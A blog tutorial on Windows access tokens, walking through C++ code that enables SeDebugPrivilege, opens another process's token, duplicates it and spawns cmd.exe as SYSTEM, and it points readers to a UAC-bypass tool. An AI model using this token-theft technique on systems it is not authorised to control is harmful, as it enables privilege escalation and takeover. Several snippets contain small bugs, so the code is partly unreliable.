Introduction

This is my blog post for study notes about Windows API and Impersonation. It is going to describe my journey into self-learning about how Windows API and Impersonation works and also as a tutorial for people who want to know more about it but do not have a programming skills good enough to walk by yourself through all the Microsoft Documentation pages to get stuff done.

The main objective is to “get system” from Local Administrator account. After reading this post completely, I guarantee you have enough resources to do it by yourself using your own code!

Documentation

  1. Windows API Impersonation Functions
  2. Impersonation Tokens
  3. Authentication Functions
  4. Windows API - OpenProcess
  5. Token Access List

Windows privileges

Windows Systems rely upon “Access Tokens” to identify a security level or access within the system. Every process has a Primary and Impersonation token and both could be used to “get system” in a Windows environment.

To visually identify your current privilege set, send the following command to your shell:

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

The above output occurs when you belong to a Medium-Integrity process. Which means that even if we are Local Admin, we still do not have all privileges or enough privileges to do nasty things like popping a SYSTEM shell.

To own a process with all privileges, you need to bypass UAC, legitimately or using any bypass technique. If you are interested in UAC Bypassing, I recommend visiting this tool named UACME by hfiref0x. By far the most complete tool available freely in the internet for UAC bypassing.

So, after we got past UAC, we now have a a full set of privileges!

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                       
========================================= ================================================================== 
SeCreateTokenPrivilege                    Create a token object                                              
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      
SeLockMemoryPrivilege                     Lock pages in memory                                               
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 
SeTcbPrivilege                            Act as part of the operating system                                
SeSecurityPrivilege                       Manage auditing and security log                                   
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           
SeLoadDriverPrivilege                     Load and unload device drivers                                     
SeSystemProfilePrivilege                  Profile system performance                                         
SeSystemtimePrivilege                     Change the system time                                             
SeProfileSingleProcessPrivilege           Profile single process                                             
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       
SeCreatePagefilePrivilege                 Create a pagefile                                                  
SeCreatePermanentPrivilege                Create permanent shared objects                                    
SeBackupPrivilege                         Back up files and directories                                      
SeRestorePrivilege                        Restore files and directories                                      
SeShutdownPrivilege                       Shut down the system                                               
SeDebugPrivilege                          Debug programs                                                     
SeAuditPrivilege                          Generate security audits
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 
SeChangeNotifyPrivilege                   Bypass traverse checking                                           
SeUndockPrivilege                         Remove computer from docking station                               
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   
SeImpersonatePrivilege                    Impersonate a client after authentication                          
SeCreateGlobalPrivilege                   Create global objects                                              
SeTrustedCredManAccessPrivilege           Access Credential Manager as a trusted caller                      
SeRelabelPrivilege                        Modify an object label                                             
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     
SeTimeZonePrivilege                       Change the time zone
SeCreateSymbolicLinkPrivilege             Create symbolic links
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session

It is noticeable that we possess a lot more privileges than before. Now we can proceed to more advanced stuff.

Enabling privileges

Sometimes you do have a certain privilege in your current set of privileges (shown by whoami /priv), but it is disabled.

The following C++ code is capable of enabling it during a program run-time:

#include <Windows.h>
#include <tchar.h>

BOOL EnableWindowsPrivilege(WCHAR* Privilege)
{
	/* Tries to enable privilege if it is present to the Permissions set. */
	LUID luid = {};
	TOKEN_PRIVILEGES tp;
	HANDLE currentProcess = GetCurrentProcess();
	HANDLE currentToken = {};
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
	if (!OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, &currentToken)) return FALSE;
	if (!AdjustTokenPrivileges(currentToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) return FALSE;
	return TRUE;
}

int wmain(void)
{
	// Enable SeDebugPrivilege (dubbed SE_DEBUG_NAME by constant variable) 
	if(!EnableWindowsPrivilege(SE_DEBUG_NAME))
	{
		wprintf(L"Could not enable SeDebugPrivilege!\n");
		return 1;
	}
	return 0;
}

Checking privileges

Sometimes you need to check your current set of privileges for the presence of a certain privilege, before starting a procedure or function.

The following C++ code is an example of how to check for a specific privilege:

#include <Windows.h>
#include <tchar.h>

BOOL CheckWindowsPrivilege(WCHAR *Privilege)
{
	/* Checks for Privilege and returns True or False. */
	LUID luid; 
	PRIVILEGE_SET privs;
	HANDLE hProcess;
	HANDLE hToken;
	hProcess = GetCurrentProcess();
	if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) return FALSE;
	if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
	privs.PrivilegeCount = 1;
	privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
	privs.Privilege[0].Luid = luid;
	privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
	BOOL bResult;
	PrivilegeCheck(hToken, &privs, &bResult);
	return bResult;
}

int wmain(void)
{
	if(!CheckWindowsPrivilege(SE_DEBUG_NAME))
	{
		wprintf(L"I do not have SeDebugPrivilege!\n");
		return 1;
	}
	wprintf(L"I do have SeDebugPrivilege!\n");
	return 0;
}

How to get system using Primary Tokens

This section of this post is going to detail the first method I got system playing with Windows API. It will detail each function needed to get the method working, step-by-step, until a full PoC code is built.

OpenProcess

This function is very important to study as it is the function responsible to get a “Handle” for a remote process in Windows systems. Without a handle, you will not be able to interact with these process and get any information from it. Let’s check it’s calling syntax:

HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);

To get a handle using OpenProcess, you will need a DWORD representing the desired access to the remote process, a BOOLEAN indicating that if the processes spawned by this process are going to inherit access tokens from it and a DWORD Process Identifier (PID) to call it. Check the following C++ example to get a handle for a process with PID value of 1234:

#include "windows.h"
#include "tchar.h"

int wmain(int argc, WCHAR **argv) 
{
    HANDLE hProcess;
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, 1234);
    if(!hProcess) 
    {
        wprintf(L"Could not get a handle to remote process.\n");
        return 1;
    }
    wprintf(L"We got our handle!\n");
    return 0;
}

OpenProcessToken

This function requires a handle. So if you haven’t read about OpenProcess, you should do it now.

After you already have a handle to a process, you can open it and query information about it’s security access tokens. Let’s review about the calling syntax:

BOOL OpenProcessToken(
  HANDLE  ProcessHandle,
  DWORD   DesiredAccess,
  PHANDLE TokenHandle
);

Three arguments. The first, a process handle. The second is a desired access for the token and the third is a pointer to store this token we are “opening” from this process.

Check this C++ example about how we can use this function:

#include "windows.h"
#include "tchar.h"
#pragma comment(lib, "advapi32.lib")

int wmain(int argc, WCHAR **argv)
{
	if (argc < 2)
	{
		wprintf(L"Usage: %ls <PID>\n", argv[0]);
		return 1;
	}

	DWORD dwPid;
	dwPid = _wtoi(argv[1]);
	wprintf(L"[+] PID chosen: %d\n", dwPid);

	// Try to open the remote process.
	HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwPid);
	if (!hProcess)
	{
		wprintf(L"ERROR: Could not get a handle to PID %d\n", dwPid);
		return 1;
	}

	wprintf(L"[+] Got handle for PID: %d\n", dwPid);
	
	// Create a pointer to a Token
	PHANDLE pToken = new HANDLE;
	BOOL bResult = OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_IMPERSONATE, pToken);
	if (!bResult)
	{
		wprintf(L"ERROR: Could not open process token.\n");
		return 1;
	}
	
	wprintf(L"[+] Process token is now open.\n");
	
	return 0;
}

DuplicateTokenEx

This function requires a lot of attention. It does the magic we need to get a SYSTEM token and using it elsewhere. It can duplicate a token object. It is useful so we can use it to create/spawn another process using a token that belongs to another process. This might be useful when you want SYSTEM privileges but you are an Administrator User after UAC.

Check how it is needed to call it:

BOOL DuplicateTokenEx(
  HANDLE                       hExistingToken,
  DWORD                        dwDesiredAccess,
  LPSECURITY_ATTRIBUTES        lpTokenAttributes,
  SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
  TOKEN_TYPE                   TokenType,
  PHANDLE                      phNewToken
);

And now look our C++ code example:

HANDLE GetAccessToken(DWORD pid)
{
	
	/* Retrieves an access token for a process */
	HANDLE currentProcess = {};
	HANDLE AccessToken = {};
	DWORD LastError;

	if (pid == 0)
	{
		currentProcess = GetCurrentProcess();
	}
	else
	{
		currentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
		if (!currentProcess)
		{
			LastError = GetLastError();
			wprintf(L"ERROR: OpenProcess(): %d\n", LastError);
			return (HANDLE)NULL;
		}
	}
	if (!OpenProcessToken(currentProcess, TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, &AccessToken))
	{
		LastError = GetLastError();
		wprintf(L"ERROR: OpenProcessToken(): %d\n", LastError);
		return (HANDLE)NULL;
	}
	return AccessToken;
}

int wmain(int argc, WCHAR **argv)
{
	DWORD LastError;

	/* Argument Check */
	if (argc < 2)
	{
		wprintf(L"Usage: %ls <PID>\n", argv[0]);
		return 1;
	}

	/* Process ID definition */
	DWORD pid;
	pid = _wtoi(argv[1]);
	if ((pid == NULL) || (pid == 0)) return 1;

	wprintf(L"[+] Pid Chosen: %d\n", pid);

        // Retrieves the remote process token.
	HANDLE pToken = GetAccessToken(dwPid);
	
	//These are required to call DuplicateTokenEx.
	SECURITY_IMPERSONATION_LEVEL seImpersonateLevel = SecurityImpersonation;
	TOKEN_TYPE tokenType = TokenPrimary;
	HANDLE pNewToken = new HANDLE;
	if(!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken))
	{
		DWORD LastError = GetLastError();
		wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError);
		return 1;
	}
	wprintf(L"Process token has been duplicated.\n");
}

It is a lot of code. But in summary, this code uses a function named GetAccessToken to retrieve a handle for a remote process, given a DWORD as input that represents a process PID number. If successful, it duplicates the token retrieved, so we can use it to impersonate the token owner identity later.

CreateProcessWithToken

CreateProcessWithToken is the last function we are going to call before raising ourselves to SYSTEM user. After ImpersonateLoggedOnUser is called (and not returning errors), we are able to use our Duplicated token to spawn a process under a new security context.

BOOL CreateProcessWithTokenW(
  HANDLE                hToken,
  DWORD                 dwLogonFlags,
  LPCWSTR               lpApplicationName,
  LPWSTR                lpCommandLine,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCWSTR               lpCurrentDirectory,
  LPSTARTUPINFOW        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

Continuing our code from “ImpersonateLoggedOnUser”:

if(!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken))
	{
		DWORD LastError = GetLastError();
		wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError);
		return 1;
	}
	wprintf(L"Process token has been duplicated.\n");

/* Starts a new process with SYSTEM token */
STARTUPINFO si = {};
PROCESS_INFORMATION pi = {};
BOOL ret;
ret = CreateProcessWithTokenW(pNewToken, LOGON_NETCREDENTIALS_ONLY, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (!ret)
{
	DWORD lastError;
	lastError = GetLastError();
	wprintf(L"CreateProcessWithTokenW: %d\n", lastError);
	return 1;
}

As CreateProcessWithTokenW executes succesfully, a windows shell under NT AUTHORITY\SYSTEM should appear on your screen.

Screenshot

This concludes the first part of this blog post. In the second part I intend to show how to use Impersonation tokens to get SYSTEM shell.